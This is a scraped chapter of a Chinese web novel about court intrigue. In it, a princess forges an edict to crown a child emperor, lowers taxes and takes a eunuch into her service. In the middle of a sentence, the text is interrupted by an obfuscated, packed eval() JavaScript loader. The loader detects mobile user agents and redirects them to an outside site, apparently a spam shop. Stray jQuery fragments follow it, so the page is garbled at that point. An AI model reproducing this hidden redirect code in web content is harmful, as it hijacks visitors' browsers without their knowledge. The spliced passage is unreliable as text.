85.第 85 章

作品:《阳曲

    三月十二酉时,安丘城破。


    翌日晨起,官戍申看见,东海军阵前挂着一颗头颅。


    三月二十日,兖州布防图泄露,城破。官成潜及家眷不知所踪。


    三月二十一日,方育自称东海王,于兖州建府。


    四月二十五日,西至太舟山,东至东海,当中一千五百里尽归方氏。


    “落桓究竟哪里来的兵!”


    师薇欢冷眼看着韩偃火急火燎的样子,从季酩手中一把撕过军报来看,声音格外冷静沉着:“方育借给他的兵。他既只在北郊扎营,而未逼宫围城,那就是没想对你赶尽杀绝,你不如尽早派人与他谈判罢。”


    她眼下泪痕未干,此时站在城楼上,风吹得眼睛干涩生疼。她闭了闭眼,从凭雪手中接过帷帽,转身下了城楼。


    “去采珠巷。”


    午后,师薇欢才回到清和殿偏殿,便见端木槿早等在殿内,甫一见到她就双目猩红地扑过来,指甲掐进她的肩膀,道:“韩偃如今要怎么办,你们如今要怎么办!”


    师薇欢慢慢扣开她的手指,道:“东乡侯已经禅位给四哥,四哥便是名正言顺的天子,你就是名正言顺的皇后。如今还得你以皇后之名拟诏,立新君承继大统。”


    端木槿双手僵在半空,看着师薇欢,不自觉地往后退了两步。


    师薇欢又接着道:“你不写也没有关系,皇后的凤印在我手中,我找人代写就是了。”


    “不行!”端木槿尖声道,“我才是名正言顺的皇后!本宫还活着,你怎可假传懿旨?”


    师薇欢笑了笑,“这便行了。”说着,叫凭雪拿来纸笔铺在案上,接着道:“皇位传位于大行皇帝之子师获,写罢。”


    “师获?”端木槿皱眉道,“这是谁家的孩子,我怎么从未听说过?”


    “当然是四哥亲生的血脉,只不过这些年流落在外。你不必担心,他的生母不会抢占你的位置,你是这个孩子的嫡母,待他登基,自会尊你为太后。”


    笔尖的墨滴在纸上,晕开一片浓黑。


    师薇欢叹了口气,道:“罢了,皇后行迹疯迷,还是送回坤宁殿静养为宜。”


    “师薇欢!你敢把本宫送到那个晦气的地方——”端木槿嘶吼着,被凭霜命人堵住了嘴,拖了出去。


    师薇欢伸手掸了掸身上不存在的灰尘,叹息道:“这满宫里,哪有不晦气的地方呢?”说着,自己做到案前,换了一张新纸,行云流水地将诏书写好,将凤印重重盖下。


    “礼部官大人还在吗?”


    “三日前便找不见官大人的踪影了。”


    “罢了,交由礼部侍郎郑许,传令天下,迎新帝登基。”


    立新元年五月二十五日,师获以五岁龄登基为帝,改国号为大渭,年号宁治。


    以端木槿为太后,封姑母师薇欢为祥符大长公主,居清和殿照料幼帝起居。


    拜韩偃为太尉,监国佐政。


    兵部尚书王祥迁平西节度使,兵部侍郎落桓勋猷并懋,拜为尚书,往太舟山剿东海贼。


    新帝即位,恰逢谭梁得胜回朝,遂大赦天下。


    “常有能平天下者而不能治天下。如今战事稍歇,自该把握好这机会,恢复生产,使百姓能够衣食充足,流民得以返乡,或就近安定下来,才能避免从前的状况,恢复根基。”


    “所以你要怎么做?”


    “先减税。”师薇欢决然道,“元安年间起,国库中五分之三的钱都花在了各方战事上,而如今于战事上的开销,十分之八都花在了东海。方育能称王,本就是落桓闹出来的,如今他反过来要亲自去降服方育,便叫他自己去筹措资金罢。这样一来,即可将田税降到乐康七年的十分之七,而商税降至十分之八,待秋收后再调整便可。”


    她将户部的账本与自己算好的税额一并放到韩偃面前。


    师霖昨日启程回了易州。师薇欢去送他时,他未说重话,也不欲多言,只道:“治国比夺权难得多。要想使上下诚服,就该使各人得到他们应得的,而非一味控制打压。”


    “旁人愿意跟随你,不过是因为你能给予他们利益。”师薇欢又道,“对于新党,残存下来的人若是一直担忧自己的性命,必然就不会安心为人臣。不如从中拉拢、离间,各自给予恩赏,爵位或是田地都可。”


    “既如此,你便去做罢。”


    师薇欢愣了愣,这才突然反应过来方才一进到屋中就觉得反常之处——整个房间内都是酒味儿,案上、地上也全都是东倒西歪的酒坛、酒碗。


    她皱眉掩鼻,想着韩偃是不喜欢饮酒的,彼时提起为了与旁人拉关系而不得已喝下的那些酒都嫌恶不已,怎会因为于落桓处受了一点挫就这般酗酒。


    “没听到吗,你要做什么就去做罢,拿皇上的名义,反正玉玺就在你那清和殿摆着。”


    师薇欢心头一下子蹿起火气,恨道:“当初是你拼命图谋这位置,怎么如今才坐上就嫌烦了?罢了,我左右是管不了你,你只管抱着这些酒醉生梦死罢!”说罢,拿起账簿,一甩袖子出了屋子,径自回了清和殿。


    师获午睡才醒,由随身侍奉的宫女山枕侍候着换好衣服,人瞧上去还像是在与周公依依惜别,但看见师薇欢回来,还是颠颠地跑过去,拽着她的袖子问姑母好。


    她叹了口气,摸了摸他的头,道:“姑母这会儿有事要做,你再去将步先生布置的要临的字帖描上两遍,可好?”


    师获点头答应,跟着嬷嬷走了。


    师薇欢看着他的背影,兀自叹息。师获比起端木显要与她亲近得多,看着他的眉眼,她脑中却都是旧日家中与师言相处的点滴,还有将他从采珠巷接走时竹江月不舍却隐忍的泪眼,如今却要使他做个听人摆布的傀儡,还不晓得来日是否有命活着,又或是被人推翻身首异处。


    这般想着,心中更是不忍,想着韩偃的不作为,更是心烦意乱,只好又出了殿去,于宫道上漫无目的地乱走一通,也不许人近身叨扰,连凭雪凭霜都只能远远跟着。


    树影斜移,鸟雀四散,她仍是一味木偶般地走着,似乎不知疲惫,脑中的思绪也像飘移的黑影,偏要戏弄她一般,愣是分毫也抓不住。


    直到周遭越发昏暗,脚下一绊,她才惊觉已经日迫西山,环顾四周,却分辨不出所在的地方是何处。


    无奈将凭雪凭霜叫出来,可二人对这宫中的偏僻地方也不熟悉,师薇欢叹了口气,在四处寻了寻,转过几棵树去,正巧看见一个正在庭院中扫地的宦官,忙上前问路。


    那人回身,尚未抬头看她,但见她的衣饰,忙跪下见礼,随即道:“禀长公主,此处是前省侍书院。”


    “我竟走到了前省么。”师薇欢喃喃道,旋即开口道谢。


    那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306216|197566||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人惶恐,口称“不敢”。师薇欢也懒得多说,正巧凭雪提着灯走过来,她便自己接过灯,向那人道:“我们对此处不甚熟悉,不知道如何回清和殿,不如你来带个路罢。”


    那人应下,恭谨起身,抬手指引,随后便落后师薇欢半步,直到将师薇欢送至清和殿,才再次开口告退。


    借着清和殿的光亮,师薇欢这才仔细瞧他的样貌,有些惊讶,又有些晃神,缓过神来,道:“如今清和殿一直没有找到合适的人当值,不如你便留下,替了吴怀安的位置罢。”


    成宗皇帝去世后,吴怀安似乎认为是自己照看不周,才致以大祸,次日便殉主了。而薛德保等人亦大多死于宫乱,或趁乱离宫。原先在清和殿任职的近黛等人也都莫名没了踪影,于是端木显登基到如今,清和殿便只有几个韩偃安插的宫女和随意提拔上来的几个宦者侍奉。


    那人一愣,旋即也未推辞,只道了声“是”。


    待进了殿中,灯火明亮,师薇欢才命他抬头,对着他的脸仔细看了看,却又有些失望的样子,只坐下细问道:“你叫什么名字,哪里人,年岁几何,从前都在何处当差?”


    “小人叫苏遇,塘郡人,年二十八,大化三年入宫,先跟着管事学习宫规,复景元年后蒙昭思皇后恩典,一直在侍书院当差。”


    “昭思皇后?”


    “是,殿下。”


    “苏遇......这‘遇’是哪个‘遇’字?”


    “知遇的‘遇’。”


    “这字倒有些意思,是你的本名吗?”


    “不是。是景宗皇帝赐名。”


    “你的本名呢?”


    “苏预,言之不预的‘预’。”


    “那还是叫回你的本名罢。”师薇欢想了想,突然问:“你是想留在侍书院,还是到清和殿来做总管事?”


    苏预原本一直稍低着头回话,闻言一时有些惊诧地抬首看向师薇欢,很快又低下头去,道:“小人但凭殿下做主。”


    师薇欢低头沉吟半晌,叹道:“罢了,你且留在清和殿,也不必做什么,就只跟着我便罢。”


    “是,殿下。”


    师薇欢便叫凭霜去为他安排住处。


    待苏预等退下后,她起身独自在窗前徘徊许久,眼眸漆黑一片,像两湾无底深潭,连她自己都看不到底。直到师获来向她请示功课,她的脸上才露出些旁的神情,随意哄了他几句,命山枕带他早些去歇息,拿着他临的字帖转到桌前,慢慢寻了张信纸,又自己研了半天墨,才犹豫地起了笔。


    良久,“凭雪,送到沉州去,给我三哥。”


    减税一事与众臣敲定后,便交由户部推行。又诏以各州府流民,无论留居现处或还归原籍,凡新辟荒田,他人不可占有,尽归垦者永业,更免五载田赋。更令户部派专人至各州府亲传旨意,以免有误。


    这两条新律推出后,连宫门前请愿的太学生都少了不少,朝中未潜逃出京的官员办差也算日渐勤勉。师薇欢又从太学中提拔出来几个有“兼济天下”之志的,补上六部的缺,总算使得朝廷看上去正常运转了起来。


    师薇欢松了一口气,便更盼着师玘能够回京相助,或鼎力中枢,或如同师霖辅佐端木玦那般,任太傅亲自教导师获,倘若他能接受王爵之位,甚或做摄政王,也不是不可以。


    师玘可能不会帮她,但一定不会害她。